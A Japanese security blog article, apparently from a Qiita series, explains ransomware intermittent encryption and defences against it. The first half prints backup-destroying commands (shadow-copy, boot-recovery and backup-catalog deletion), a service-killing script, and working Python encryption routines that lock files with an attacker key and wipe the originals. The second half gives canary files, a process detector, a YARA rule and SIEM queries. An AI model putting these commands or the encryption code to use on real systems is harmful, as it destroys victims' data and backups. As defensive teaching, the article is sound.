0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Day 11: ランサムウェアの暗号化メカニズム:間欠暗号化で爆速ファイル封鎖する最新手法

Last updated at Posted at 2026-02-06

はじめに

ランサムウェア攻撃のクライマックスは「暗号化」フェーズです。攻撃者がネットワークの制圧を終えた後、最後に行うのがデータの暗号化であり、ここでの目標は 「セキュリティ製品が異常を検知してプロセスを停止させる前に、すべての重要なファイルを読めなくすること」 です。

かつてのランサムウェアはファイルを一つずつ愚直に暗号化していましたが、最新の検体(LockBit 3.0、BlackCat/ALPHV、PLAY、Akiraなど)は 「いかに素早く、かつ検知されずに」 全データを封鎖するかという点において、驚くべき進化を遂げています。

本記事では、2024年以降主流となっている「間欠暗号化(Intermittent Encryption)」の技術的メカニズムと、それに対する防御策について詳しく解説します。

ランサムウェア暗号化の全体像

MITRE ATT&CKにおける位置付け

ランサムウェアの暗号化は、MITRE ATT&CKフレームワークでは以下のテクニックに分類されます:

  • T1486: Data Encrypted for Impact - 主要な暗号化活動
  • T1490: Inhibit System Recovery - 復旧機能の無効化
  • T1489: Service Stop - サービスの停止

暗号化フェーズのタイムライン

┌─────────────────────────────────────────────────────────────┐
│ Phase 1: 準備 (5-10分)                                      │
│ - シャドウコピーの削除                                      │
│ - サービス・プロセスの停止                                  │
│ - アクセス権限の変更                                        │
└─────────────────────────────────────────────────────────────┘
                          ↓
┌─────────────────────────────────────────────────────────────┐
│ Phase 2: 暗号化実行 (10-30分) ← 間欠暗号化で劇的に高速化   │
│ - ファイルの列挙                                            │
│ - 優先順位付けされたファイルの暗号化                        │
│ - 拡張子の変更                                              │
└─────────────────────────────────────────────────────────────┘
                          ↓
┌─────────────────────────────────────────────────────────────┐
│ Phase 3: 脅迫 (即座)                                        │
│ - ランサムノートの配置                                      │
│ - 壁紙の変更                                                │
│ - システムの再起動                                          │
└─────────────────────────────────────────────────────────────┘

破壊の前準備:システムの制御

暗号化をスムーズに実行するため、ランサムウェアは最初に環境の「掃除」を行います。

1. バックアップの破壊(Volume Shadow Copyの削除)

Windows標準の復元機能である「ボリュームシャドウコピー(VSS)」を削除し、ユーザーが自力で過去のバージョンに戻すのを防ぎます。

# 実際に観測される攻撃コマンド例
# ※教育目的:実行しないでください

# シャドウコピーの完全削除
vssadmin.exe delete shadows /all /quiet

# WMIを使った削除(管理ツールから見えにくい)
wmic shadowcopy delete

# bcdeditによる回復オプションの無効化
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no

# Windows Backup の無効化
wbadmin delete catalog -quiet

検知ポイント:

  • vssadmin.exewmic.exe/quietオプション付き実行
  • 短時間での複数のシャドウコピー削除
  • バックアップ関連サービスの異常停止

2. サービスとプロセスの停止

データベースやバックアップソフトなどのサービスを強制停止します。これらのプロセスがファイルを開いたままだと「ファイルロック」がかかり、ランサムウェアがそのファイルを暗号化できないためです。

"""
ランサムウェアが停止対象とする主なサービス
※教育目的のリスト
"""

# よく標的となるサービス群
TARGETED_SERVICES = {
    # データベース関連
    'mssql': ['MSSQLSERVER', 'SQLWriter', 'SQLSERVERAGENT'],
    'mysql': ['MySQL', 'MySQLd'],
    'oracle': ['OracleServiceXE', 'OracleVssWriterXE'],
    'postgresql': ['postgresql-x64-*'],
    
    # メールサーバー
    'exchange': ['MSExchangeIS', 'MSExchangeSA', 'MSExchangeADTopology'],
    
    # バックアップソフト
    'backup': [
        'Veeam',           # Veeam Backup
        'BackupExec',      # Veritas Backup Exec
        'AcronisCyber',    # Acronis
        'ShadowProtect',   # StorageCraft
    ],
    
    # セキュリティソフト(一部)
    'security': [
        'MsMpEng',         # Windows Defender
        'SophosHealth',    # Sophos
        'avp',             # Kaspersky
    ],
    
    # 仮想化
    'virtualization': [
        'vmms',            # Hyper-V
        'vmware-*',        # VMware
    ]
}

def stop_services_for_encryption():
    """
    ※これは攻撃コードの理解のための教育的な例です
    実際に実行しないでください
    """
    import subprocess
    
    for category, services in TARGETED_SERVICES.items():
        for service in services:
            try:
                # サービスの停止
                subprocess.run(
                    ['sc', 'stop', service],
                    capture_output=True,
                    timeout=5
                )
                
                # サービスの無効化(再起動防止)
                subprocess.run(
                    ['sc', 'config', service, 'start=', 'disabled'],
                    capture_output=True,
                    timeout=5
                )
            except:
                pass  # エラーは無視して続行

検知ポイント:

  • 非業務時間での大量のサービス停止
  • 重要なサービスの連続的な停止
  • sc.exenet.exeの異常な使用パターン

3. プロセスの強制終了

# よく使用されるプロセス終了コマンド
taskkill /F /IM sqlservr.exe
taskkill /F /IM mysqld.exe
taskkill /F /IM msexchange*.exe

# より洗練された手法:WMIを使用
wmic process where "name like '%sql%'" call terminate

現代の主流:間欠暗号化(Intermittent Encryption)

2022年以降、LockBit 3.0が「間欠暗号化」を実装して以来、この手法は多くの主要ランサムウェアファミリーに採用されています。

従来の暗号化方式 vs 間欠暗号化

従来の全データ暗号化

def traditional_full_encryption(file_path: str, key: bytes):
    """
    従来型:ファイル全体を暗号化
    ※教育目的のサンプルコード
    """
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    from cryptography.hazmat.backends import default_backend
    import os
    
    # ファイルサイズを取得
    file_size = os.path.getsize(file_path)
    
    # IV(初期化ベクトル)の生成
    iv = os.urandom(16)
    
    # AES-256-CBCで暗号化
    cipher = Cipher(
        algorithms.AES(key),
        modes.CBC(iv),
        backend=default_backend()
    )
    encryptor = cipher.encryptor()
    
    # ファイル全体を読み込んで暗号化
    with open(file_path, 'rb') as f:
        plaintext = f.read()
    
    # パディング処理
    from cryptography.hazmat.primitives import padding
    padder = padding.PKCS7(128).padder()
    padded_data = padder.update(plaintext) + padder.finalize()
    
    # 暗号化実行
    ciphertext = encryptor.update(padded_data) + encryptor.finalize()
    
    # 暗号化データを書き込み
    with open(file_path + '.encrypted', 'wb') as f:
        f.write(iv + ciphertext)
    
    # 元ファイルを削除
    os.remove(file_path)

問題点:

  • 大容量ファイル(数GB〜数TB)の処理に時間がかかる
  • CPU使用率が急上昇し、検知されやすい
  • ディスクI/Oが増大し、システムが重くなる

間欠暗号化の実装

def intermittent_encryption(file_path: str, key: bytes, skip_pattern: str = 'alternate'):
    """
    間欠暗号化:ファイルの一部のみを暗号化
    ※教育目的のサンプルコード
    
    Args:
        file_path: 対象ファイルパス
        key: 暗号化鍵
        skip_pattern: 'alternate'(交互), 'header'(ヘッダーのみ), 'percentage'(一定割合)
    """
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    from cryptography.hazmat.backends import default_backend
    import os
    
    # 設定
    chunk_size = 1024 * 1024  # 1MB
    file_size = os.path.getsize(file_path)
    
    # ファイルサイズが小さい場合は全暗号化
    if file_size < chunk_size * 2:
        return traditional_full_encryption(file_path, key)
    
    iv = os.urandom(16)
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    
    encrypted_chunks = []
    chunk_map = []  # どのチャンクを暗号化したか記録
    
    with open(file_path, 'rb') as f:
        chunk_id = 0
        
        while True:
            chunk = f.read(chunk_size)
            if not chunk:
                break
            
            should_encrypt = False
            
            # パターンに応じて暗号化するかを決定
            if skip_pattern == 'alternate':
                # 1つおきに暗号化(50%暗号化)
                should_encrypt = (chunk_id % 2 == 0)
            
            elif skip_pattern == 'header':
                # 最初の数チャンクのみ暗号化
                should_encrypt = (chunk_id < 3)
            
            elif skip_pattern == 'percentage':
                # 10%のみ暗号化(10チャンクごとに1つ)
                should_encrypt = (chunk_id % 10 == 0)
            
            if should_encrypt:
                encryptor = cipher.encryptor()
                
                # パディング(最後のチャンクのみ)
                if len(chunk) < chunk_size:
                    from cryptography.hazmat.primitives import padding
                    padder = padding.PKCS7(128).padder()
                    chunk = padder.update(chunk) + padder.finalize()
                
                encrypted_chunk = encryptor.update(chunk) + encryptor.finalize()
                encrypted_chunks.append(encrypted_chunk)
                chunk_map.append(chunk_id)
            else:
                encrypted_chunks.append(chunk)  # 平文のまま
            
            chunk_id += 1
    
    # 暗号化されたファイルを書き込み
    output_path = file_path + '.locked'
    with open(output_path, 'wb') as f:
        # メタデータ(IV、暗号化マップ)を先頭に書き込み
        f.write(iv)
        f.write(len(chunk_map).to_bytes(4, 'little'))
        for cid in chunk_map:
            f.write(cid.to_bytes(4, 'little'))
        
        # 暗号化されたデータを書き込み
        for chunk in encrypted_chunks:
            f.write(chunk)
    
    # 元ファイルを削除
    os.remove(file_path)
    
    return output_path

間欠暗号化の種類と特徴

方式 暗号化率 速度 検知難易度 実装例
完全暗号化 100% 遅い 高(簡単に検知) 古いWannaCry
交互暗号化 50% 2倍速 LockBit 3.0
10%暗号化 10% 10倍速 低(検知困難) BlackCat/ALPHV
ヘッダーのみ 1-5% 最速 最低 PLAY
カスタム割合 設定可能 可変 可変 Akira

なぜ間欠暗号化は「バレにくい」のか?

def calculate_file_entropy(file_path: str) -> float:
    """
    ファイルのエントロピーを計算
    高エントロピー = ランダムなデータ(暗号化されている可能性)
    """
    import math
    from collections import Counter
    
    with open(file_path, 'rb') as f:
        data = f.read()
    
    if not data:
        return 0.0
    
    # バイトの出現頻度を計算
    byte_counts = Counter(data)
    
    # シャノンエントロピーの計算
    entropy = 0.0
    for count in byte_counts.values():
        probability = count / len(data)
        entropy -= probability * math.log2(probability)
    
    return entropy

# 比較例
print(f"平文テキスト: {calculate_file_entropy('document.txt')}")  # 約3-5
print(f"完全暗号化: {calculate_file_entropy('document.encrypted')}")  # 約7.9-8.0
print(f"間欠暗号化(50%): {calculate_file_entropy('document.intermittent')}")  # 約6-7

間欠暗号化の検知回避メカニズム:

  1. エントロピー値の平均化: ファイル全体のエントロピーが完全暗号化ほど高くならない
  2. I/O負荷の軽減: ディスク読み書きが少ないため、性能監視で異常として検出されにくい
  3. 処理時間の短縮: 数分で完了するため、リアルタイム検知が間に合わない
  4. CPU使用率の抑制: 暗号化処理が少ないため、CPUスパイクが発生しにくい

実際の被害事例からの知見

"""
BlackCat(ALPHV)の間欠暗号化パラメータ(実際の解析結果)
"""

class BlackCatEncryptionConfig:
    """
    BlackCat ランサムウェアの設定例
    ※セキュリティ研究から得られた知見
    """
    
    # 暗号化設定
    ENCRYPTION_MODE = "intermittent"
    SKIP_PERCENTAGE = 90  # 90%をスキップ(10%のみ暗号化)
    
    # ファイルサイズ閾値
    FULL_ENCRYPT_THRESHOLD = 1024 * 1024  # 1MB以下は全暗号化
    SKIP_FILE_THRESHOLD = 1024 * 1024 * 100  # 100MB以上は間欠暗号化
    
    # 暗号化対象拡張子
    TARGET_EXTENSIONS = [
        # ドキュメント
        '.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx', '.pdf',
        # データベース
        '.sql', '.mdb', '.accdb', '.db', '.dbf',
        # 画像・動画
        '.jpg', '.jpeg', '.png', '.gif', '.mp4', '.avi', '.mov',
        # バックアップ
        '.bak', '.backup', '.vhd', '.vmdk',
        # アーカイブ
        '.zip', '.rar', '.7z', '.tar', '.gz',
    ]
    
    # 除外するディレクトリ
    EXCLUDED_DIRECTORIES = [
        'Windows', 'Program Files', 'Program Files (x86)',
        'ProgramData', 'AppData', '$Recycle.Bin',
    ]
    
    # 除外するファイル
    EXCLUDED_FILES = [
        'desktop.ini', 'thumbs.db', 'autorun.inf',
        'ntuser.dat', 'boot.ini',
    ]
    
    # マルチスレッド設定
    THREAD_COUNT = 8  # CPU数に応じて調整

暗号化アルゴリズムの選択

ランサムウェアは、速度と安全性を両立させるためにハイブリッド暗号方式を採用します。

ハイブリッド暗号化の実装

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os

class RansomwareEncryption:
    """
    ランサムウェアのハイブリッド暗号化
    ※教育目的のサンプル実装
    """
    
    def __init__(self):
        # 攻撃者の公開鍵(攻撃者のみが秘密鍵を保持)
        self.attacker_public_key = self._load_attacker_public_key()
    
    def encrypt_file(self, file_path: str):
        """
        ファイルをハイブリッド暗号化
        
        1. ランダムなAES鍵を生成(ファイルごとに異なる)
        2. そのAES鍵でファイルを暗号化
        3. AES鍵を攻撃者のRSA公開鍵で暗号化
        4. 暗号化されたAES鍵をファイルに付加
        """
        
        # Step 1: ファイルごとの一意なAES鍵を生成
        file_aes_key = os.urandom(32)  # 256-bit
        iv = os.urandom(16)
        
        # Step 2: AESでファイルを暗号化(間欠暗号化)
        encrypted_data = self._encrypt_with_aes(
            file_path,
            file_aes_key,
            iv
        )
        
        # Step 3: AES鍵をRSA公開鍵で暗号化
        encrypted_key = self.attacker_public_key.encrypt(
            file_aes_key,
            padding.OAEP(
                mgf=padding.MGF1(algorithm=hashes.SHA256()),
                algorithm=hashes.SHA256(),
                label=None
            )
        )
        
        # Step 4: 暗号化ファイルの構造
        # [暗号化されたAES鍵(256bytes)] + [IV(16bytes)] + [暗号化データ]
        output_path = file_path + '.locked'
        with open(output_path, 'wb') as f:
            f.write(len(encrypted_key).to_bytes(4, 'little'))
            f.write(encrypted_key)
            f.write(iv)
            f.write(encrypted_data)
        
        # 元ファイルを安全に削除
        self._secure_delete(file_path)
        
        return output_path
    
    def _encrypt_with_aes(self, file_path: str, key: bytes, iv: bytes) -> bytes:
        """AES-256-CBCで暗号化"""
        cipher = Cipher(
            algorithms.AES(key),
            modes.CBC(iv),
            backend=default_backend()
        )
        encryptor = cipher.encryptor()
        
        with open(file_path, 'rb') as f:
            plaintext = f.read()
        
        # パディング
        from cryptography.hazmat.primitives import padding
        padder = padding.PKCS7(128).padder()
        padded_data = padder.update(plaintext) + padder.finalize()
        
        # 暗号化
        ciphertext = encryptor.update(padded_data) + encryptor.finalize()
        
        return ciphertext
    
    def _secure_delete(self, file_path: str):
        """
        ファイルの安全な削除(復元防止)
        """
        # ファイルサイズを取得
        file_size = os.path.getsize(file_path)
        
        # ランダムデータで上書き(DoD 5220.22-M方式の簡易版)
        with open(file_path, 'rb+') as f:
            for _ in range(3):  # 3回上書き
                f.seek(0)
                f.write(os.urandom(file_size))
                f.flush()
                os.fsync(f.fileno())
        
        # ファイル削除
        os.remove(file_path)
    
    def _load_attacker_public_key(self):
        """攻撃者の公開鍵を読み込み"""
        # 実際のランサムウェアでは、実行ファイルに埋め込まれている
        # ここでは例として生成
        private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048,
            backend=default_backend()
        )
        return private_key.public_key()

使用される暗号アルゴリズム

ランサムウェア 対称鍵暗号 非対称鍵暗号 特徴
LockBit 3.0 AES-256 RSA-2048 間欠暗号化、マルチスレッド
BlackCat ChaCha20 RSA-4096 Rust実装、高速
PLAY AES-256 RSA-2048 ヘッダーのみ暗号化
Akira ChaCha20 Curve25519 楕円曲線暗号
Royal AES-256 RSA-4096 部分暗号化

ChaCha20の採用理由:

  • AES-NIが無いCPUでも高速動作
  • ソフトウェア実装が効率的
  • サイドチャネル攻撃に強い

エンジニアが知っておくべき防御策

間欠暗号化が始まってしまうと、手動での介入はほぼ不可能です。予防と早期検知が最重要です。

1. Canary Files(ハニーポットファイル)の配置

import os
import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class CanaryFileMonitor(FileSystemEventHandler):
    """
    Canaryファイルの変更を監視し、異常を検知
    """
    
    def __init__(self, canary_paths: list, alert_callback):
        self.canary_paths = set(canary_paths)
        self.alert_callback = alert_callback
    
    def on_modified(self, event):
        """ファイルが変更された時"""
        if event.src_path in self.canary_paths:
            self._trigger_alert(event.src_path, "MODIFIED")
    
    def on_deleted(self, event):
        """ファイルが削除された時"""
        if event.src_path in self.canary_paths:
            self._trigger_alert(event.src_path, "DELETED")
    
    def _trigger_alert(self, file_path: str, event_type: str):
        """アラートをトリガー"""
        alert_data = {
            'timestamp': time.time(),
            'file': file_path,
            'event': event_type,
            'severity': 'CRITICAL',
            'message': 'Potential ransomware activity detected!'
        }
        
        self.alert_callback(alert_data)

def create_canary_files(base_dir: str) -> list:
    """
    各重要ディレクトリにCanaryファイルを作成
    
    命名規則:
    - アルファベット順で先頭に来る名前(ランサムウェアは多くの場合アルファベット順に処理)
    - 一般的な拡張子
    """
    canary_files = []
    
    # Canaryファイルの定義
    canary_configs = [
        ('0_IMPORTANT_README.txt', 'This is a honeypot file.'),
        ('AAA_Customer_Database.xlsx', b'\x00' * 1024),
        ('000_Financial_Report.docx', b'\x00' * 1024),
        ('.canary_db.sql', 'SELECT * FROM honeypot;'),
    ]
    
    for filename, content in canary_configs:
        file_path = os.path.join(base_dir, filename)
        
        with open(file_path, 'wb' if isinstance(content, bytes) else 'w') as f:
            f.write(content)
        
        # 読み取り専用に設定
        os.chmod(file_path, 0o444)
        
        canary_files.append(file_path)
    
    return canary_files

def emergency_response(alert_data: dict):
    """
    緊急対応アクション
    """
    print(f"[CRITICAL ALERT] Ransomware detected!")
    print(f"  File: {alert_data['file']}")
    print(f"  Event: {alert_data['event']}")
    
    # 実際の対応アクション
    # 1. ネットワークの即座切断
    # subprocess.run(['netsh', 'interface', 'set', 'interface', 'Ethernet', 'disabled'])
    
    # 2. 疑わしいプロセスの停止
    # subprocess.run(['taskkill', '/F', '/IM', 'suspicious.exe'])
    
    # 3. アラートの送信
    # send_alert_to_siem(alert_data)
    
    # 4. システムのシャットダウン(最終手段)
    # subprocess.run(['shutdown', '/s', '/t', '0'])

# 使用例
if __name__ == "__main__":
    # Canaryファイルの作成
    important_dirs = [
        'C:\\Users\\Public\\Documents',
        'C:\\Shares\\Finance',
        'D:\\Database',
    ]
    
    all_canaries = []
    for directory in important_dirs:
        canaries = create_canary_files(directory)
        all_canaries.extend(canaries)
    
    # 監視の開始
    event_handler = CanaryFileMonitor(all_canaries, emergency_response)
    observer = Observer()
    
    for directory in important_dirs:
        observer.schedule(event_handler, directory, recursive=False)
    
    observer.start()
    
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        observer.stop()
    
    observer.join()

2. 暗号化プロセスの監視

import psutil
import time
from collections import defaultdict
from datetime import datetime, timedelta

class RansomwareProcessDetector:
    """
    ランサムウェアの振る舞いを検知
    """
    
    def __init__(
        self,
        file_operation_threshold: int = 100,  # 1分あたりのファイル操作数
        cpu_threshold: float = 80.0,          # CPU使用率(%)
        monitoring_window: int = 60           # 監視ウィンドウ(秒)
    ):
        self.file_operation_threshold = file_operation_threshold
        self.cpu_threshold = cpu_threshold
        self.monitoring_window = monitoring_window
        
        # プロセスごとのファイル操作カウント
        self.file_operations = defaultdict(list)
        
        # 既知の安全なプロセス
        self.whitelist = {
            'System', 'svchost.exe', 'explorer.exe',
            'MsMpEng.exe',  # Windows Defender
            'veeam.exe',    # Veeam Backup
        }
    
    def is_suspicious_process(self, proc) -> bool:
        """プロセスが疑わしいかチェック"""
        try:
            # ホワイトリストチェック
            if proc.name() in self.whitelist:
                return False
            
            # 1. 短時間での大量のファイルオープン
            open_files = proc.open_files()
            if len(open_files) > 50:  # 50個以上のファイルを同時にオープン
                return True
            
            # 2. CPU使用率が異常に高い
            cpu_percent = proc.cpu_percent(interval=1.0)
            if cpu_percent > self.cpu_threshold:
                return True
            
            # 3. 疑わしいコマンドライン引数
            cmdline = ' '.join(proc.cmdline())
            suspicious_patterns = [
                'vssadmin', 'delete', 'shadows',
                'bcdedit', 'recoveryenabled', 'no',
                'wbadmin', 'delete', 'catalog',
            ]
            
            if any(pattern in cmdline.lower() for pattern in suspicious_patterns):
                return True
            
            return False
            
        except (psutil.NoSuchProcess, psutil.AccessDenied):
            return False
    
    def check_file_entropy_changes(self, file_path: str) -> float:
        """
        ファイルのエントロピー変化を検知
        """
        try:
            import math
            from collections import Counter
            
            with open(file_path, 'rb') as f:
                # 最初の1MBを読み込んで分析
                data = f.read(1024 * 1024)
            
            if not data:
                return 0.0
            
            byte_counts = Counter(data)
            entropy = 0.0
            
            for count in byte_counts.values():
                probability = count / len(data)
                entropy -= probability * math.log2(probability)
            
            return entropy
            
        except Exception:
            return 0.0
    
    def monitor(self):
        """継続的な監視"""
        print("[*] Starting ransomware process monitoring...")
        
        suspicious_procs = set()
        
        while True:
            for proc in psutil.process_iter(['pid', 'name', 'cpu_percent']):
                try:
                    if self.is_suspicious_process(proc):
                        if proc.pid not in suspicious_procs:
                            self._alert_suspicious_process(proc)
                            suspicious_procs.add(proc.pid)
                
                except (psutil.NoSuchProcess, psutil.AccessDenied):
                    continue
            
            time.sleep(5)  # 5秒ごとにチェック
    
    def _alert_suspicious_process(self, proc):
        """疑わしいプロセスのアラート"""
        try:
            print(f"\n[ALERT] Suspicious process detected!")
            print(f"  PID: {proc.pid}")
            print(f"  Name: {proc.name()}")
            print(f"  CPU: {proc.cpu_percent()}%")
            print(f"  Command: {' '.join(proc.cmdline())}")
            print(f"  Open files: {len(proc.open_files())}")
            
            # 実際の対応
            # 1. プロセスの一時停止
            # proc.suspend()
            
            # 2. 管理者に通知
            # send_admin_alert(proc.pid, proc.name())
            
            # 3. プロセスの終了(最終手段)
            # proc.kill()
            
        except Exception as e:
            print(f"Error alerting: {e}")

# 使用例
# detector = RansomwareProcessDetector()
# detector.monitor()

3. Windows Controlled Folder Accessの有効化

# PowerShellでControlled Folder Accessを有効化
# Windows Defenderの保護機能

# Controlled Folder Accessを有効化
Set-MpPreference -EnableControlledFolderAccess Enabled

# 保護するフォルダを追加
Add-MpPreference -ControlledFolderAccessProtectedFolders "C:\Users\*\Documents"
Add-MpPreference -ControlledFolderAccessProtectedFolders "D:\SharedData"
Add-MpPreference -ControlledFolderAccessProtectedFolders "E:\Backups"

# 許可するアプリケーションを追加
Add-MpPreference -ControlledFolderAccessAllowedApplications "C:\Program Files\TrustedApp\app.exe"

# 設定の確認
Get-MpPreference | Select-Object -Property EnableControlledFolderAccess, ControlledFolderAccessProtectedFolders

4. Immutableバックアップの実装

"""
不変(Immutable)バックアップの概念実装
"""

class ImmutableBackupSystem:
    """
    Write Once Read Many (WORM) バックアップシステム
    """
    
    def __init__(self, backup_retention_days: int = 30):
        self.retention_days = backup_retention_days
        self.backup_metadata = {}
    
    def create_backup(self, source_path: str, backup_id: str):
        """
        不変バックアップを作成
        
        実際の実装では:
        - オブジェクトストレージ(S3 Object Lock、Azure Immutable Blob)
        - テープバックアップ
        - 専用バックアップアプライアンス
        を使用
        """
        import hashlib
        import shutil
        from datetime import datetime
        
        timestamp = datetime.now()
        
        # バックアップファイルのハッシュを計算
        with open(source_path, 'rb') as f:
            file_hash = hashlib.sha256(f.read()).hexdigest()
        
        # メタデータを記録
        self.backup_metadata[backup_id] = {
            'source': source_path,
            'hash': file_hash,
            'created': timestamp,
            'locked_until': timestamp + timedelta(days=self.retention_days),
            'immutable': True
        }
        
        print(f"[+] Backup created: {backup_id}")
        print(f"    Hash: {file_hash}")
        print(f"    Locked until: {self.backup_metadata[backup_id]['locked_until']}")
    
    def attempt_delete(self, backup_id: str) -> bool:
        """
        バックアップの削除を試行(保持期間中は失敗)
        """
        if backup_id not in self.backup_metadata:
            return False
        
        metadata = self.backup_metadata[backup_id]
        
        if datetime.now() < metadata['locked_until']:
            print(f"[-] Deletion denied: Backup is immutable until {metadata['locked_until']}")
            return False
        
        print(f"[+] Deletion allowed: Retention period expired")
        return True
    
    def verify_integrity(self, backup_id: str) -> bool:
        """バックアップの整合性を検証"""
        if backup_id not in self.backup_metadata:
            return False
        
        metadata = self.backup_metadata[backup_id]
        
        # ハッシュ値を再計算して比較
        with open(metadata['source'], 'rb') as f:
            current_hash = hashlib.sha256(f.read()).hexdigest()
        
        if current_hash == metadata['hash']:
            print(f"[+] Integrity verified: {backup_id}")
            return True
        else:
            print(f"[-] Integrity check failed: {backup_id}")
            return False

# AWS S3での実装例
"""
import boto3
from datetime import datetime, timedelta

def create_immutable_s3_backup(bucket_name: str, file_path: str):
    s3 = boto3.client('s3')
    
    # Object Lockが有効なバケットにアップロード
    with open(file_path, 'rb') as f:
        s3.put_object(
            Bucket=bucket_name,
            Key=f'backups/{datetime.now().isoformat()}/{os.path.basename(file_path)}',
            Body=f,
            ObjectLockMode='GOVERNANCE',  # または 'COMPLIANCE'
            ObjectLockRetainUntilDate=datetime.now() + timedelta(days=30)
        )
"""

検知シグネチャとYARAルール

# Yara rule for detecting ransomware encryption behavior
rule Ransomware_Encryption_Behavior {
    meta:
        description = "Detects ransomware encryption patterns"
        author = "Security Team"
        date = "2024-01-01"
        
    strings:
        // VSS deletion commands
        $vss1 = "vssadmin delete shadows" nocase
        $vss2 = "wmic shadowcopy delete" nocase
        $vss3 = "bcdedit /set {default} recoveryenabled no" nocase
        
        // Backup deletion
        $backup1 = "wbadmin delete catalog" nocase
        $backup2 = "wbadmin delete systemstatebackup" nocase
        
        // Service停止
        $service1 = "sc stop" nocase
        $service2 = "taskkill /F /IM sql" nocase
        
        // Crypto APIs
        $crypto1 = "CryptEncrypt" ascii
        $crypto2 = "CryptGenKey" ascii
        $crypto3 = "BCryptEncrypt" ascii
        
        // File operations
        $file1 = "CreateFileW" ascii
        $file2 = "WriteFile" ascii
        $file3 = "SetFileInformation" ascii
        
    condition:
        (2 of ($vss*) or 1 of ($backup*)) and
        (1 of ($service*)) and
        (2 of ($crypto*)) and
        (2 of ($file*))
}

SIEMでの検知クエリ例

Splunk

# VSS削除の検知
index=windows EventCode=4688 
(CommandLine="*vssadmin*delete*shadows*" OR 
 CommandLine="*wmic*shadowcopy*delete*" OR 
 CommandLine="*bcdedit*recoveryenabled*no*")
| stats count by ComputerName, User, CommandLine, _time
| where count > 0

# 大量のファイル変更検知
index=windows EventCode=4663 
ObjectType=File AccessMask="0x2" 
| stats count by SubjectUserName, ObjectName
| where count > 100

# 疑わしいサービス停止
index=windows EventCode=7036 
(ServiceName="*SQL*" OR ServiceName="*Exchange*" OR ServiceName="*Veeam*")
State="stopped"
| stats count by ComputerName, ServiceName, _time
| where count > 3

Elastic (ELK)

{
  "query": {
    "bool": {
      "must": [
        {
          "match": {
            "event.code": "4688"
          }
        },
        {
          "query_string": {
            "query": "process.command_line:(*vssadmin*delete*shadows* OR *wmic*shadowcopy*delete*)"
          }
        }
      ],
      "filter": {
        "range": {
          "@timestamp": {
            "gte": "now-1h"
          }
        }
      }
    }
  }
}

まとめ:速度こそが攻撃者の最大の武器

最新のランサムウェアは、**「間欠暗号化」**という効率的な手法により、セキュリティ製品の検知を回避しながら、数分で組織全体のデータを人質に取ることができます。

重要なポイント

  1. 予兆の監視が最重要

    • vssadminwmicbcdeditの実行監視
    • 大量のサービス停止の検知
    • 非業務時間の異常なファイルアクセス
  2. 間欠暗号化の脅威

    • 従来の10倍以上の速度で暗号化可能
    • エントロピー検知を回避
    • 大容量ファイルでも数秒で無力化
  3. 多層防御の必要性

    • Canaryファイルによる早期検知
    • Controlled Folder Accessの活用
    • Immutableバックアップの必須化
    • ネットワークセグメンテーション
  4. インシデント対応計画

    • 検知から1分以内のネットワーク切断手順
    • 自動化された緊急対応スクリプト
    • 定期的な復旧訓練の実施

今後のトレンド

  • AIを活用した検知: 機械学習による異常行動の早期発見
  • ゼロトラストアーキテクチャ: ラテラルムーブメントの防止
  • EDR/XDRの進化: より高度な振る舞い検知
  • 自動隔離システム: 検知から隔離まで完全自動化

攻撃者の技術は日々進化していますが、適切な防御策と早期検知の仕組みを実装することで、被害を最小限に抑えることが可能です。

参考資料


免責事項: 本記事で紹介した技術は、セキュリティ研究と防御策の理解を目的とした教育コンテンツです。ランサムウェアの作成や配布、許可なく他者のシステムに対して使用することは重大な犯罪行為です。必ず自身の管理する環境または明示的な許可を得た環境でのみ検証を行ってください。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?